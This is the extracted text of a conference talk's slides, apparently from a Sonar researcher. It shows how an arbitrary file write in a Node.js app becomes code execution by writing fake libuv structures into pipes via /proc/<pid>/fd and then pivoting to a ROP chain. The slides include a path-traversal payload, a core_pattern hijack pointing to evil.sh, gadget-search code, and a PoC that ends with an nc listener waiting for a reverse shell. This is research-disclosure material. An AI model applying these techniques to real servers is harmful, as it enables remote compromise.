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Who am I

● Stefan Schiller (Twitter/X: @scryh_)

○ Software Development Background

○ Offensive IT Security (Red Teaming)

○ Vulnerability Researcher in Sonar's R&D team

● Product innovation driven by our 0-days

○ Young team of 3.5 Vulnerability Researchers

○ Discovering 0-days to strengthen product 

https://twitter.com/scryh_
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File Write - Node.js

app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});
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app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});

File Write - Node.js

   fs.writeFile       

File Write
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app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});

                               

                filename

req.body

File Write - Node.js User-Controllable
File Path
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app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});

File Write - Node.js

                               

                          content

req.body

User-Controllable
File Content
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app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});

File Write - Node.js

Arbitrary File Write Vulnerability
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Exploit the File Write!
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Write a .JS file!
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Exploit the File Write!

Write a .JS file!

Overwrite a templating file!

Drop an SSH key!

Add a cron job!

Overwrite the 

config file!

Overwrite that 

JSON file!

Write an .EJS file!
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Exploit the File Write!

{"filename": "../../src/index.js",

 "content" : "require('child_process').exec('id');"}
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Uh oh?

{"filename": "../../src/index.js",

 "content" : "require('child_process').exec('id');"}

HTTP/1.1 403 Forbidden

...

{"err" : "EACCES: permission denied"}
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{"filename": "../../src/index.js",

 "content" : "require('child_process').exec('id');"}

HTTP/1.1 403 Forbidden

...

{"err" : "EACCES: permission denied"}

Uh oh?

uploads
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{"filename": "../../src/index.js",

 "content" : "require('child_process').exec('id');"}

HTTP/1.1 403 Forbidden

...

{"err" : "EACCES: permission denied"}

Read-Only!

read-only!

read-only!

read-only!

read-only!
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{"filename": "../../src/index.js",

 "content" : "require('child_process').exec('id');"}

HTTP/1.1 403 Forbidden

...

{"err" : "EACCES: permission denied"}

Read-Only!

read-only!

read-only!

read-only!

read-only!

read-only!

read-only!

read-only!

read-only!

read-only!

uploads



Exploiting Read-Only
File Writes?
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File Writes - What even is a File?
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File Writes - What even is a File?

A File

Everything

Is
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File Writes - What even is a File?

Virtual File System 
(VFS)
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File Writes - What even is a File?

Virtual File System 
(VFS)

My File 
System
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File Writes - What even is a File?

Virtual File System 
(VFS)

My File 
System

static const struct file_operations 

myfs_file_ops = {

   .open     = myfs_open,

   .read     = myfs_read,

   .write    = myfs_write,

};
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File Writes - What even is a File?

Virtual File System 
(VFS)

ext4



©2024, SonarSource S.A, Switzerland.

File Writes - What even is a File?

Virtual File System 
(VFS)

ext4 ubifs
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File Writes - What even is a File?

Virtual File System 
(VFS)

ext4 ubifs nfs
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File Writes - What even is a File?

Virtual File System 
(VFS)

ext4 ubifs nfs procfs
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File Writes - procfs

procfs ● Usually mounted at /proc

● Interface to kernel
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File Writes - procfs

procfs ● Usually mounted at /proc

● Interface to kernel

● Provides real-time information

● Processes, memory, hardware, etc.

● Change settings by writing a file!
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/proc/sys/kernel/core_pattern

● Define template to name core dumps:

# echo '/tmp/cores/core.%e.%p.%h.%t' >

 /proc/sys/kernel/core_pattern



©2024, SonarSource S.A, Switzerland.

/proc/sys/kernel/core_pattern

● Define template to name core dumps:

● Piping core dump to a program:

# echo '/tmp/cores/core.%e.%p.%h.%t' >

 /proc/sys/kernel/core_pattern

# echo '|/usr/share/apport/apport' >

 /proc/sys/kernel/core_pattern
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/proc/sys/kernel/core_pattern

● Trigger shell script on segmentation fault:

# echo '|/tmp/evil.sh' > /proc/sys/kernel/core_pattern

# ./crash

Segmentation fault (core dumped) # <- executes evil.sh
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Similar approaches

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe
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Similar approaches

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe

● Register executable file formats:

○ /proc/sys/fs/binfmt_misc/[1]

[1] Li Qiang: Container escape in 2021 (HITBSecConf2021, Singapore)

https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
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Similar approaches

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe

● Register executable file formats:

○ /proc/sys/fs/binfmt_misc/[1]

● Uevent helper program (sysfs):

○ /sys/kernel/uevent_helper

[1] Li Qiang: Container escape in 2021 (HITBSecConf2021, Singapore)

https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
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[1] Li Qiang: Container escape in 2021 (HITBSecConf2021, Singapore)

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe

● Register executable file formats:

○ /proc/sys/fs/binfmt_misc/[1]

● Uevent helper program (sysfs):

○ /sys/kernel/uevent_helper

Not so easy

https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
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[1] Li Qiang: Container escape in 2021 (HITBSecConf2021, Singapore)

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe

● Register executable file formats:

○ /proc/sys/fs/binfmt_misc/[1]

● Uevent helper program (sysfs):

○ /sys/kernel/uevent_helper

Not so easy

→ writing to these files requires root-privileges

https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
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[1] Li Qiang: Container escape in 2021 (HITBSecConf2021, Singapore)

● Usermode helper for autoloading kernel modules:

○ /proc/sys/kernel/modprobe

● Register executable file formats:

○ /proc/sys/fs/binfmt_misc/[1]

● Uevent helper program (sysfs):

○ /sys/kernel/uevent_helper

Not so easy

→ writing to these files requires root-privileges

→ procfs itself might be read-only (container)

https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
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File Writes - What even is a File?

Virtual File System 
(VFS)

ext4 ubifs nfs procfs
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File Writes - What even is a File?

Virtual File System 
(VFS)

ext4 ubifs nfs procfs

pipefs
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Inter-Process Communication via Pipes

$ cat passwd | grep root
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Inter-Process Communication via Pipes

$ cat passwd      |    grep root
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Inter-Process Communication via Pipes

$ cat passwd      |    grep root

write read
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Inter-Process Communication via Pipes

$ cat passwd      |    grep root

-wx pipe:[1234] r-x pipe:[1234]
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Inter-Process Communication via Pipes

cat

$ cat passwd      |    grep root

-wx pipe:[1234] r-x pipe:[1234]

write



©2024, SonarSource S.A, Switzerland.

Inter-Process Communication via Pipes

cat grep

$ cat passwd      |    grep root

-wx pipe:[1234] r-x pipe:[1234]

read
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Inter-Process Communication via Pipes

-wx pipe:[1234] r-x pipe:[1234]

procfs

/proc/<pid>/fd/
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Pipes via /proc/<pid>/fd/

$ sleep 100 | cat
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Pipes via /proc/<pid>/fd/

$ sleep 100 | cat

$ ls -al /proc/`pidof sleep`/fd

lrwx------ 1 user user 0 -> /dev/pts/3

l-wx------ 1 user user 1 -> 'pipe:[698292]'

lrwx------ 1 user user 2 -> /dev/pts/3
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Pipes via /proc/<pid>/fd/

$ sleep 100 | cat

$ ls -al /proc/`pidof sleep`/fd

lrwx------ 1 user user 0 -> /dev/pts/3

l-wx------ 1 user user 1 -> 'pipe:[698292]'

lrwx------ 1 user user 2 -> /dev/pts/3

$ ls -al /proc/`pidof cat`/fd

lr-x------ 1 user user 0 -> 'pipe:[698292]'

lrwx------ 1 user user 1 -> /dev/pts/3

lrwx------ 1 user user 2 -> /dev/pts/3
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Pipes via /proc/<pid>/fd/

$ sleep 100 | cat

$ ls -al /proc/`pidof sleep`/fd

lrwx------ 1 user user 0 -> /dev/pts/3

l-wx------ 1 user user 1 -> 'pipe:[698292]'

lrwx------ 1 user user 2 -> /dev/pts/3

$ echo 'hi there!' > /proc/`pidof sleep`/fd/1
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Pipes via /proc/<pid>/fd/

$ ls -al /proc/`pidof sleep`/fd

lrwx------ 1 user user 0 -> /dev/pts/3

l-wx------ 1 user user 1 -> 'pipe:[698292]'

lrwx------ 1 user user 2 -> /dev/pts/3

$ echo 'hi there!' > /proc/`pidof sleep`/fd/1

$ sleep 100 | cat

hi there!



Node.js & Pipes
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Node.js & Pipes

● Node.js V8 JavaScript engine single-threaded

● Provide asynchronous and non-blocking

event loop via libuv library 

● libuv uses anonymous pipes to signal and handle events
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libuv anonymous pipes
user@host:~$ ls -al /proc/`pidof node`/fd
...

lr-x------ 1 user user 64 Oct 4 13:37 14 -> 'pipe:[519309]'
l-wx------ 1 user user 64 Oct 4 13:37 15 -> 'pipe:[519309]'

...

lr-x------ 1 user user 64 Oct 4 13:37 4 -> 'pipe:[521246]'
l-wx------ 1 user user 64 Oct 4 13:37 5 -> 'pipe:[521246]'
lr-x------ 1 user user 64 Oct 4 13:37 6 -> 'pipe:[521247]'
l-wx------ 1 user user 64 Oct 4 13:37 7 -> 'pipe:[521247]'
...
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libuv anonymous pipes
user@host:~$ ls -al /proc/`pidof node`/fd
...

lr-x------ 1 user user 64 Oct 4 13:37 14 -> 'pipe:[519309]'
l-wx------ 1 user user 64 Oct 4 13:37 15 -> 'pipe:[519309]'

...

lr-x------ 1 user user 64 Oct 4 13:37 4 -> 'pipe:[521246]'
l-wx------ 1 user user 64 Oct 4 13:37 5 -> 'pipe:[521246]'
lr-x------ 1 user user 64 Oct 4 13:37 6 -> 'pipe:[521247]'
l-wx------ 1 user user 64 Oct 4 13:37 7 -> 'pipe:[521247]'
...
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libuv signal event handler

static void uv__signal_event(uv_loop_t* loop, uv__io_t* w, unsigned int events) {

   uv__signal_msg_t* msg;

   // [...]

   do {

       r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

       // [...]

       for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {

           msg = (uv__signal_msg_t*) (buf + i);
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libuv signal event handler



©2024, SonarSource S.A, Switzerland.
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static void uv__signal_event(uv_loop_t* loop, uv__io_t* w, unsigned int events) {

   uv__signal_msg_t* msg;

   // [...]

   do {

       r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

       // [...]

       for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {

           msg = (uv__signal_msg_t*) (buf + i);

       for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {

           msg = (uv__signal_msg_t*) (buf + i);

libuv signal event handler

typedef struct {

  uv_signal_t* handle;

  int signum;

} uv__signal_msg_t;

struct uv_signal_s {

  UV_HANDLE_FIELDS

  uv_signal_cb signal_cb;

  int signum;

  // [...]
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static void uv__signal_event(uv_loop_t* loop, uv__io_t* w, unsigned int events) {

   uv__signal_msg_t* msg;

   // [...]

   do {

       r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

       // [...]

       for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {

           msg = (uv__signal_msg_t*) (buf + i);
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libuv signal event handler

typedef struct {

  uv_signal_t* handle;

  int signum;

} uv__signal_msg_t;

struct uv_signal_s {

  UV_HANDLE_FIELDS

  uv_signal_cb signal_cb;

  int signum;

  // [...]
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libuv signal event handler

  // [...]

  handle = msg->handle;

  if (msg->signum == handle->signum) {

      assert(!(handle->flags & UV_HANDLE_CLOSING));

      handle->signal_cb(handle, handle->signum);

  }
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  // [...]

  handle = msg->handle;

  if (msg->signum == handle->signum) {

      assert(!(handle->flags & UV_HANDLE_CLOSING));

      handle->signal_cb(handle, handle->signum);

  }

  handle = msg->handle;

libuv signal event handler
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  // [...]

  handle = msg->handle;

  if (msg->signum == handle->signum) {

      assert(!(handle->flags & UV_HANDLE_CLOSING));

      handle->signal_cb(handle, handle->signum);

  }

libuv signal event handler

  if (msg->signum == handle->signum) {
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  // [...]

  handle = msg->handle;

  if (msg->signum == handle->signum) {

      assert(!(handle->flags & UV_HANDLE_CLOSING));

      handle->signal_cb(handle, handle->signum);

  }

libuv signal event handler

      handle->signal_cb(handle, handle->signum);
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libuv signal event handler
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libuv signal event handler
data written to pipe
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libuv signal event handler

uv__signal_msg_t

*handle

signum

data written to pipe

(uv__signal_msg_t*)(buf + i);
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libuv signal event handler

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe

(uv__signal_msg_t*)(buf + i);
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libuv signal event handler

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe

void callback(...) {

  // [...]

}

(uv__signal_msg_t*)(buf + i);

✅
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libuv signal event handler

https://hackerone.com/reports/2260337
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libuv signal event handler

https://hackerone.com/reports/2260337
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https://hackerone.com/reports/2260337

libuv signal event handler
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File Write Exploit Strategy
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File Write Exploit Strategy

● Write fake uv_signal_s data structure to pipe.

○ Set signal_cb function pointer to arbitrary address that 

we would like to call.

● Write fake uv__signal_msg_t data structure to pipe.

○ Set handle pointer to uv_signal_s data structure.

● Set signum value of both data structures to the same value.
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File Write Exploit Strategy

● Write fake uv_signal_s data structure to pipe.

○ Set signal_cb function pointer to arbitrary address that 

we would like to call.

● Write fake uv__signal_msg_t data structure to pipe.

○ Set handle pointer to uv_signal_s data structure.

● Set signum value of both data structures to the same value.

● Enjoy arbitrary code execution.
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Writing Fake Data Structures

uv_signal_s
...

*signal_cb

signum
...

= 0xdeadbeef
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Writing Fake Data Structures

uv__signal_msg_t

*handle

signum

address?

uv_signal_s
...

*signal_cb

signum
...

= 0xdeadbeef
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uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

= 0xdeadbeef

[stack]

Writing Fake Data Structures

address?
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user@host:~/node-v22.9.0-linux-x64/bin$ checksec node 
[*] '/home/user/node-v22.9.0-linux-x64/bin/node'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Node.js Security Mitigations
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user@host:~$ checksec /opt/node-v22.8.0-linux-x64/bin/node 
[*] '/opt/node-v22.8.0-linux-x64/bin/node'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Node.js Security Mitigations

[1] https://github.com/nodejs/node/issues/33425

https://github.com/nodejs/node/issues/33425
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uv__signal_msg_t

signum

address?

Leveraging Existing Data

*handle

/usr/bin/node

uv_signal_s
...

*signal_cb

signum
...

address! 
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Leveraging Existing Data

uv__signal_msg_t

*handle

signum

uv_signal_s

*signal_cb

signum
...

other members
...

/usr/bin/node

0x00415000: 74 6f 75 63 68 20 2f 74 6d 70 2f 70 77 6e 65 64
...
0x00415060: c4 6d 64 ad ff ff 00 00 37 13 00 00 00 00 00 00
...

"touch /tmp/pwned"

address of system 0x1337

= 0x1337
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= 0x1337



©2024, SonarSource S.A, Switzerland.
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...
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... address of system 0x1337
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signum
...

other members
...

"touch /tmp/pwned"
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/usr/bin/node

0x00415000: 74 6f 75 63 68 20 2f 74 6d 70 2f 70 77 6e 65 64
...
0x00415060: c4 6d 64 ad ff ff 00 00 37 13 00 00 00 00 00 00
... address of system 0x1337

uv__signal_msg_t

*handle

signum

uv_signal_s

*signal_cb

signum
...

other members
...

"touch /tmp/pwned"

= 0x1337

Leveraging Existing Data

handle->signal_cb(handle, handle->signum);

system("touch /tmp/pwned", ...);
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/usr/bin/node

0x00415000: 74 6f 75 63 68 20 2f 74 6d 70 2f 70 77 6e 65 64
...
0x00415060: c4 6d 64 ad ff ff 00 00 37 13 00 00 00 00 00 00
... address of system 0x1337

uv__signal_msg_t

*handle

signum

uv_signal_s

*signal_cb

signum
...

other members
...

"touch /tmp/pwned"

= 0x1337

Leveraging Existing Data

handle->signal_cb(handle, handle->signum);

system("touch /tmp/pwned", ...);
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Searching ROP Gadgets
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Searching ROP Gadgets
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Searching ROP Gadgets

ELF
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/usr/bin/node:     file format elf64-x86-64                                                   
                                                                                                       
Sections:                                                                                              
Idx Name          Size      VMA               LMA 

 12 .text         0182b2e4  0000000000b6b000  0000000000b6b000
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 ...
 14 .rodata       02adfa18  0000000002396300  0000000002396300
 ...              CONTENTS, ALLOC, LOAD, READONLY, DATA

 24 .got          000010b0  000000000529ef48  000000000529ef48
                  CONTENTS, ALLOC, LOAD, DATA
 25 .data         0003c9b8  00000000052a0000  00000000052a0000
                  CONTENTS, ALLOC, LOAD, DATA
 26 .bss          0002af08  00000000052dc9c0  00000000052dc9c0 
 ...              ALLOC

Searching ROP Gadgets

ELF
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Searching ROP Gadgets
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Fake Data Structure

/usr/bin/node

...
0x00415020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
0x00415070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415080: a0 60 42 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...

*handle
fake uv_signal_s
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Fake Data Structure

/usr/bin/node

...
0x00415020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
0x00415070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415080: a0 60 42 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...

+offset

*handle
fake uv_signal_s

signal_cb
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Fake Data Structure

/usr/bin/node

...
0x00415020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
0x00415070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415080: a0 60 42 00 00 00 00 00 00 00 00 00 00 00 00 00
0x00415090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
0x004260a0: 48 83 c4 38 5b 5d c3 00 00 00 00 00 00 00 00 00
0x004260b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...

add rsp, 0x38; pop rbx; pop rbp; ret

+offset

*handle
fake uv_signal_s

signal_cb
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Searching Fake Data Structures

user@host:~/node-v22.9.0-linux-x64/bin$ ls -al node
-rwxr-xr-x 1 user user 114472472 Sep 17 17:09 node 

110M😎
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Searching Fake Data Structures

● Search through Node.js image

● Not only interested in r-x sections

○ r-- also works fine

○ Search in-memory instead of parsing ELF file

○ Include .bss section that is initialized during runtime
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Searching Fake Data Structures

for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))
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for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))

Searching Fake Data Structures

for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)
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for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))

Searching Fake Data Structures

       if is_mapped(ptr) and is_executable(ptr):
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for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))

Searching Fake Data Structures

           instr = read_mem(ptr, n)
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for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))

Searching Fake Data Structures

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))
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Searching Fake Data Structures



©2024, SonarSource S.A, Switzerland.

Searching Fake Data Structures
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Pivot to classical ROP chain
data written to pipe

classical ROP chain

uv__signal_msg_t

*handle

signum

gadget 1
gadget 2
gadget 3
gadget 4

…
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Pivot to classical ROP chain
data written to pipe[stack]

classical ROP chain

uv__signal_msg_t

*handle

signum

gadget 1
gadget 2
gadget 3
gadget 4

…
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Pivot to classical ROP chain

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe[stack]

classical ROP chain

= 0x415000
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Pivot to classical ROP chain

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe[stack]

classical ROP chain

/usr/bin/node
...
0x00415060: c8 4a f0 00 00 00 00 00 37 13 00 00 00 00 00 00
...
0x00f04ac8: 48 83 c4 38 5b 5d c3 08 08 1c 80 02 07 82 44 42
...

pivoting gadget
add rsp, 0x38; pop rbx; pop rbp; ret

= 0x415000
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Pivot to classical ROP chain

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe[stack]

classical ROP chain

/usr/bin/node
...
0x00415060: c8 4a f0 00 00 00 00 00 37 13 00 00 00 00 00 00
...
0x00f04ac8: 48 83 c4 38 5b 5d c3 08 08 1c 80 02 07 82 44 42
...

pivoting gadget
add rsp, 0x38; pop rbx; pop rbp; ret

= 0x415000

= 0x1337
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Pivot to classical ROP chain

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

data written to pipe[stack]

classical ROP chain

/usr/bin/node
...
0x00415060: c8 4a f0 00 00 00 00 00 37 13 00 00 00 00 00 00
...
0x00f04ac8: 48 83 c4 38 5b 5d c3 08 08 1c 80 02 07 82 44 42
...

pivoting gadget
add rsp, 0x38; pop rbx; pop rbp; ret

pivot to
ROP chain
on stack

= 0x1337

= 0x415000
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Gaining Code Execution!
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user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337



©2024, SonarSource S.A, Switzerland.

Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337
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Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337
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Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in
[+] project created

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337
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Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in
[+] project created
[+] upload enabled

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337



©2024, SonarSource S.A, Switzerland.

Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in
[+] project created
[+] upload enabled
[+] file written!

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337



©2024, SonarSource S.A, Switzerland.

Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in
[+] project created
[+] upload enabled
[+] file written!

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337



©2024, SonarSource S.A, Switzerland.

Gaining Code Execution!

user@host:~$ ./poc-filewrite.py 10.10.0.42
[+] logged in
[+] project created
[+] upload enabled
[+] file written!

user@host:~$ nc -lnvp 31337
Listening on 0.0.0.0 31337
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What’s going on?

pwndbg> hexdump $rsp 0x130
+0000 0x7fffffff9e50  0e ef bf bd ef bf bd 04  00 00 00 00 00 00 2c 00  │........│......,.│
+0010 0x7fffffff9e60  00 00 00 00 ef bf bd 78  ef bf bd 00 00 00 00 00  │.......x│........│
+0020 0x7fffffff9e70  ef bf bd 00 00 00 00 00  00 00 ef bf bd 7c ef bf  │........│.....|..│
+0030 0x7fffffff9e80  bd 00 00 00 00 00 4d ef  bf bd 43 00 00 00 00 00  │......M.│..C.....│
+0040 0x7fffffff9e90  00 ef bf bd 1e 05 00 00  00 00 70 5e ef bf bd 00  │........│..p^....│
+0050 0x7fffffff9ea0  00 00 00 00 ef bf bd ef  bf bd ef bf bd 00 00 00  │........│........│
+0060 0x7fffffff9eb0  00 00 ef bf bd 0d ef bf  bd 02 00 00 00 00 33 7e  │........│......3~│
+0070 0x7fffffff9ec0  ef bf bd 00 00 00 00 00  4d ef bf bd 43 00 00 00  │........│M...C...│
+0080 0x7fffffff9ed0  00 00 08 ef bf bd 1e 05  00 00 00 00 70 5e ef bf  │........│....p^..│
+0090 0x7fffffff9ee0  bd 00 00 00 00 00 ef bf  bd ef bf bd ef bf bd 01  │........│........│
+00a0 0x7fffffff9ef0  00 00 00 00 4d ef bf bd  43 00 00 00 00 00 10 ef  │....M...│C.......│
...
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What’s going on?

pwndbg> hexdump $rsp 0x130
+0000 0x7fffffff9e50  0e ef bf bd ef bf bd 04  00 00 00 00 00 00 2c 00  │........│......,.│
+0010 0x7fffffff9e60  00 00 00 00 ef bf bd 78  ef bf bd 00 00 00 00 00  │.......x│........│
+0020 0x7fffffff9e70  ef bf bd 00 00 00 00 00  00 00 ef bf bd 7c ef bf  │........│.....|..│
+0030 0x7fffffff9e80  bd 00 00 00 00 00 4d ef  bf bd 43 00 00 00 00 00  │......M.│..C.....│
+0040 0x7fffffff9e90  00 ef bf bd 1e 05 00 00  00 00 70 5e ef bf bd 00  │........│..p^....│
+0050 0x7fffffff9ea0  00 00 00 00 ef bf bd ef  bf bd ef bf bd 00 00 00  │........│........│
+0060 0x7fffffff9eb0  00 00 ef bf bd 0d ef bf  bd 02 00 00 00 00 33 7e  │........│......3~│
+0070 0x7fffffff9ec0  ef bf bd 00 00 00 00 00  4d ef bf bd 43 00 00 00  │........│M...C...│
+0080 0x7fffffff9ed0  00 00 08 ef bf bd 1e 05  00 00 00 00 70 5e ef bf  │........│....p^..│
+0090 0x7fffffff9ee0  bd 00 00 00 00 00 ef bf  bd ef bf bd ef bf bd 01  │........│........│
+00a0 0x7fffffff9ef0  00 00 00 00 4d ef bf bd  43 00 00 00 00 00 10 ef  │....M...│C.......│
...
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What’s going on?

pwndbg> hexdump $rsp 0x130
+0000 0x7fffffff9e50  0e ef bf bd ef bf bd 04  00 00 00 00 00 00 2c 00  │........│......,.│
+0010 0x7fffffff9e60  00 00 00 00 ef bf bd 78  ef bf bd 00 00 00 00 00  │.......x│........│
+0020 0x7fffffff9e70  ef bf bd 00 00 00 00 00  00 00 ef bf bd 7c ef bf  │........│.....|..│
+0030 0x7fffffff9e80  bd 00 00 00 00 00 4d ef  bf bd 43 00 00 00 00 00  │......M.│..C.....│
+0040 0x7fffffff9e90  00 ef bf bd 1e 05 00 00  00 00 70 5e ef bf bd 00  │........│..p^....│
+0050 0x7fffffff9ea0  00 00 00 00 ef bf bd ef  bf bd ef bf bd 00 00 00  │........│........│
+0060 0x7fffffff9eb0  00 00 ef bf bd 0d ef bf  bd 02 00 00 00 00 33 7e  │........│......3~│
+0070 0x7fffffff9ec0  ef bf bd 00 00 00 00 00  4d ef bf bd 43 00 00 00  │........│M...C...│
+0080 0x7fffffff9ed0  00 00 08 ef bf bd 1e 05  00 00 00 00 70 5e ef bf  │........│....p^..│
+0090 0x7fffffff9ee0  bd 00 00 00 00 00 ef bf  bd ef bf bd ef bf bd 01  │........│........│
+00a0 0x7fffffff9ef0  00 00 00 00 4d ef bf bd  43 00 00 00 00 00 10 ef  │....M...│C.......│
...

Replacement Character
0xEF 0xBF 0xBD 🤦

�
U+FFFD
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UTF-8 Fail

app.post('/upload', (req, res) => {

   const { filename, content } = req.body;

   fs.writeFile(filename, content, () => {

       res.json({ message: 'File uploaded!' });

   });

});
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UTF-8 Fail
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Overcoming UTF-8 restrictions
data written to pipe

classical ROP chain

Needs to be valid UTF-8
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Overcoming UTF-8 restrictions
data written to pipe

classical ROP chain

gadget 1
gadget 2
gadget 3
gadget 4

… 😌
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Overcoming UTF-8 restrictions
data written to pipe

classical ROP chain

uv__signal_msg_t

*handle

signum

gadget 1
gadget 2
gadget 3
gadget 4

…🥴
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Overcoming UTF-8 restrictions

for addr, len in nodejs_segments:

   for offset in range(len - 7):

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))
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for addr, len in nodejs_segments:

   for offset in range(len - 7):

       if not is_valid_utf8(addr + offset - 0x60): continue

       ptr = read_mem(addr + offset, 8)

       if is_mapped(ptr) and is_executable(ptr):

           instr = read_mem(ptr, n)

           if is_useful_gadet(instr):

               print('gadget at %08x' % addr + offset)

               print('-> ' + disassemble(instr))

Overcoming UTF-8 restrictions

       if not is_valid_utf8(addr + offset - 0x60): continue
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Overcoming UTF-8 restrictions

...

0x00617f90 -> 0x00e3dbc8: pop rsp; pop r13; pop r14; pop r15; 
pop rbp; ret  

...
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Overcoming UTF-8 restrictions

uv_signal_s
...

*signal_cb

signum
...

/usr/bin/node
...
0x00617f90: c8 db e3 00 00 00 00 00 70 72 05 f0 ff 23 ff 24
...
0x00e3dbc8: 5c 41 5d 41 5e 41 5f 5d c3 1c 2e ff ff ff 80 ca
...

pivoting gadget
pop rsp; pop r13; pop r14; pop r15; pop rbp; ret
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Overcoming UTF-8 restrictions

uv__signal_msg_t

*handle

signum

uv_signal_s
...

*signal_cb

signum
...

/usr/bin/node
...
0x00617f90: c8 db e3 00 00 00 00 00 70 72 05 f0 ff 23 ff 24
...
